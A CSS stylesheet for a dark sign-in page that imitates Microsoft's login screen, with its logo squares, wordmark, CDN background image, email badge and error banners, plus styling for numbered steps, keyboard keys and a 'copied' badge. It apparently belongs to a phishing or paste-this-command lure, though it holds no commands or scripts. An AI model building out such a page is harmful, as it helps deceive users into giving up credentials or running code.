@import url('https://fonts.googleapis.com/css2?family=Segoe+UI:wght@300;400;600;700&display=swap');

*, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }

html, body {
  height: 100%;
  font-family: 'Segoe UI', 'Segoe UI Web (West European)', -apple-system, BlinkMacSystemFont, Roboto, 'Helvetica Neue', sans-serif;
  font-size: 15px;
  -webkit-font-smoothing: antialiased;
  -moz-osx-font-smoothing: grayscale;
}

body {
  display: flex;
  flex-direction: column;
  min-height: 100vh;
  background: #1b1b1b;
  color: #fff;
}

.bg-wrap {
  position: fixed;
  inset: 0;
  z-index: -1;
  background: #1b1b1b url('https://logincdn.msftauth.net/shared/5/images/fluent_web_dark_2_bf5f23287bc9f60c9be2.svg') no-repeat center center;
  background-size: cover;
}

.main {
  flex: 1;
  display: flex;
  justify-content: center;
  align-items: center;
  padding: 24px;
}

.card {
  background: #2a282b;
  width: 100%;
  max-width: 440px;
  padding: 44px;
  border-radius: 6px;
  box-shadow:
    0 0 0 1px rgba(255, 255, 255, 0.05),
    0 2px 4px rgba(0, 0, 0, 0.2),
    0 8px 16px rgba(0, 0, 0, 0.3),
    0 16px 32px rgba(0, 0, 0, 0.2);
  position: relative;
}

.fade-in {
  animation: fadeIn 0.25s ease forwards;
}

@keyframes fadeIn {
  from { opacity: 0; transform: translateY(-6px); }
  to { opacity: 1; transform: translateY(0); }
}

.card-header {
  display: flex;
  align-items: center;
  justify-content: center;
  position: relative;
  margin-bottom: 28px;
}

.back-btn {
  position: absolute;
  left: 0;
  top: 50%;
  transform: translateY(-50%);
  background: none;
  border: none;
  color: #fff;
  cursor: pointer;
  padding: 8px;
  display: flex;
  align-items: center;
  justify-content: center;
  border-radius: 2px;
  transition: background 0.1s;
}

.back-btn:hover {
  background: rgba(255, 255, 255, 0.1);
}

.back-btn svg {
  width: 16px;
  height: 16px;
  fill: #fff;
}

.close-btn {
  position: absolute;
  left: 0;
  top: 50%;
  transform: translateY(-50%);
  background: none;
  border: none;
  color: #fff;
  cursor: pointer;
  padding: 8px;
  font-size: 20px;
  line-height: 1;
  border-radius: 2px;
  transition: background 0.1s;
}

.close-btn:hover {
  background: rgba(255, 255, 255, 0.1);
}

.ms-logo {
  display: flex;
  align-items: center;
  gap: 10px;
}

.ms-squares {
  display: grid;
  grid-template-columns: 11px 11px;
  grid-template-rows: 11px 11px;
  gap: 2px;
}

.ms-squares div:nth-child(1) { background: #f25022; }
.ms-squares div:nth-child(2) { background: #7fba00; }
.ms-squares div:nth-child(3) { background: #00a4ef; }
.ms-squares div:nth-child(4) { background: #ffb900; }

.ms-wordmark {
  font-size: 22px;
  font-weight: 600;
  color: #fff;
  letter-spacing: -0.3px;
}

.email-badge {
  display: inline-flex;
  align-items: center;
  background: rgba(255, 255, 255, 0.1);
  border: 1px solid rgba(255, 255, 255, 0.2);
  border-radius: 20px;
  padding: 6px 16px;
  font-size: 13px;
  color: #fff;
  margin-bottom: 20px;
}

h1 {
  font-size: 24px;
  font-weight: 600;
  color: #fff;
  margin-bottom: 8px;
  line-height: 1.3;
}

.subtitle {
  font-size: 14px;
  color: rgba(255, 255, 255, 0.7);
  line-height: 1.5;
  margin-bottom: 24px;
}

.input-group {
  margin-bottom: 8px;
  position: relative;
}

.input-wrap {
  position: relative;
}

.input-field {
  width: 100%;
  padding: 16px 12px 6px 12px;
  font-size: 15px;
  font-family: inherit;
  color: #fff;
  background: #1b1b1b;
  border: 1px solid #605e5c;
  border-radius: 4px;
  outline: none;
  transition: border-color 0.15s;
}

.input-field::placeholder {
  color: transparent;
}

.input-field:hover {
  border-color: #a19f9d;
}

.input-field:focus {
  border-color: #0078d4;
}

.input-field.error {
  border-color: #f25022;
}

.input-label {
  position: absolute;
  left: 12px;
  top: 50%;
  transform: translateY(-50%);
  font-size: 15px;
  color: #a19f9d;
  pointer-events: none;
  transition: all 0.15s ease;
}

.input-field:focus + .input-label,
.input-field:not(:placeholder-shown) + .input-label {
  top: 8px;
  transform: translateY(0);
  font-size: 11px;
  color: #a19f9d;
}

.input-field.error + .input-label {
  color: #f25022;
}

.error-inline {
  display: none;
  align-items: center;
  gap: 6px;
  margin-top: 6px;
  margin-bottom: 12px;
  font-size: 12px;
  color: #f25022;
}

.error-inline.show {
  display: flex;
}

.error-inline svg {
  width: 14px;
  height: 14px;
  fill: #f25022;
  flex-shrink: 0;
}

.error-banner {
  display: none;
  background: rgba(218, 59, 1, 0.15);
  border-left: 3px solid #da3b01;
  padding: 10px 14px;
  margin-bottom: 16px;
  font-size: 13px;
  color: #fff;
}

.error-banner.show { display: block; }

.error-banner a {
  color: #6cb8f6;
  text-decoration: none;
}

.error-banner a:hover {
  text-decoration: underline;
}

.links {
  margin-top: 16px;
  margin-bottom: 8px;
}

.links a {
  display: block;
  font-size: 13px;
  color: #6cb8f6;
  text-decoration: none;
  margin-bottom: 8px;
  cursor: pointer;
}

.links a:hover {
  text-decoration: underline;
}

.btn-row {
  display: flex;
  flex-direction: column;
  gap: 12px;
  margin-top: 24px;
}

.btn {
  width: 100%;
  padding: 10px 20px;
  font-size: 15px;
  font-weight: 600;
  font-family: inherit;
  border: none;
  border-radius: 4px;
  cursor: pointer;
  transition: all 0.1s ease;
}

.btn-primary {
  background: #0078d4;
  color: #fff;
}

.btn-primary:hover {
  background: #106ebe;
}

.btn-primary:active {
  background: #005a9e;
}

.btn-secondary {
  background: transparent;
  color: #fff;
  border: 1px solid #fff;
}

.btn-secondary:hover {
  background: rgba(255, 255, 255, 0.1);
}

.loading {
  display: none;
  flex-direction: column;
  align-items: center;
  gap: 16px;
  padding: 20px 0;
}

.loading.show { display: flex; }

.spinner {
  width: 24px;
  height: 24px;
  border: 2px solid rgba(255, 255, 255, 0.3);
  border-top-color: #0078d4;
  border-radius: 50%;
  animation: spin 0.8s linear infinite;
}

@keyframes spin { to { transform: rotate(360deg); } }

.loading-text {
  font-size: 14px;
  color: rgba(255, 255, 255, 0.7);
}

footer {
  padding: 16px 24px;
  display: flex;
  justify-content: flex-end;
  gap: 24px;
}

footer a {
  font-size: 12px;
  color: rgba(255, 255, 255, 0.5);
  text-decoration: none;
}

footer a:hover {
  text-decoration: underline;
  color: rgba(255, 255, 255, 0.7);
}

.info-panel {
  background: rgba(255, 255, 255, 0.05);
  border: 1px solid rgba(255, 255, 255, 0.1);
  border-radius: 4px;
  padding: 16px;
  margin-bottom: 24px;
}

.info-panel-title {
  font-size: 14px;
  font-weight: 600;
  color: #fff;
  margin-bottom: 8px;
  display: flex;
  align-items: center;
  gap: 8px;
}

.info-panel-text {
  font-size: 13px;
  color: rgba(255, 255, 255, 0.7);
  line-height: 1.5;
}

.info-code {
  font-family: 'Consolas', 'Courier New', monospace;
  font-size: 11px;
  color: rgba(255, 255, 255, 0.4);
  margin-top: 10px;
}

.steps {
  list-style: none;
  margin-bottom: 24px;
}

.steps li {
  display: flex;
  align-items: flex-start;
  gap: 14px;
  margin-bottom: 16px;
  font-size: 14px;
  color: #fff;
  line-height: 1.5;
}

.step-num {
  width: 24px;
  height: 24px;
  background: #0078d4;
  color: #fff;
  border-radius: 50%;
  display: flex;
  align-items: center;
  justify-content: center;
  font-size: 12px;
  font-weight: 600;
  flex-shrink: 0;
}

.kbd {
  display: inline-block;
  background: linear-gradient(180deg, #404040 0%, #2a2a2a 100%);
  border: 1px solid #555;
  border-radius: 4px;
  padding: 3px 8px;
  font-family: 'Segoe UI', sans-serif;
  font-size: 12px;
  font-weight: 600;
  color: #fff;
  box-shadow: 0 2px 0 #1a1a1a;
  margin: 0 2px;
  vertical-align: middle;
}

.copied-badge {
  display: inline-block;
  background: #107c10;
  color: #fff;
  font-size: 11px;
  font-weight: 600;
  padding: 2px 8px;
  border-radius: 2px;
  margin-left: 8px;
}

.text-center {
  text-align: center;
}

.toast {
  position: fixed;
  bottom: 24px;
  left: 50%;
  transform: translateX(-50%) translateY(20px);
  background: #323130;
  color: #fff;
  padding: 12px 24px;
  border-radius: 4px;
  font-size: 14px;
  opacity: 0;
  transition: all 0.2s ease;
  pointer-events: none;
  z-index: 100;
}

.toast.show {
  opacity: 1;
  transform: translateX(-50%) translateY(0);
}

@media (max-width: 480px) {
  .card { padding: 28px; }
}
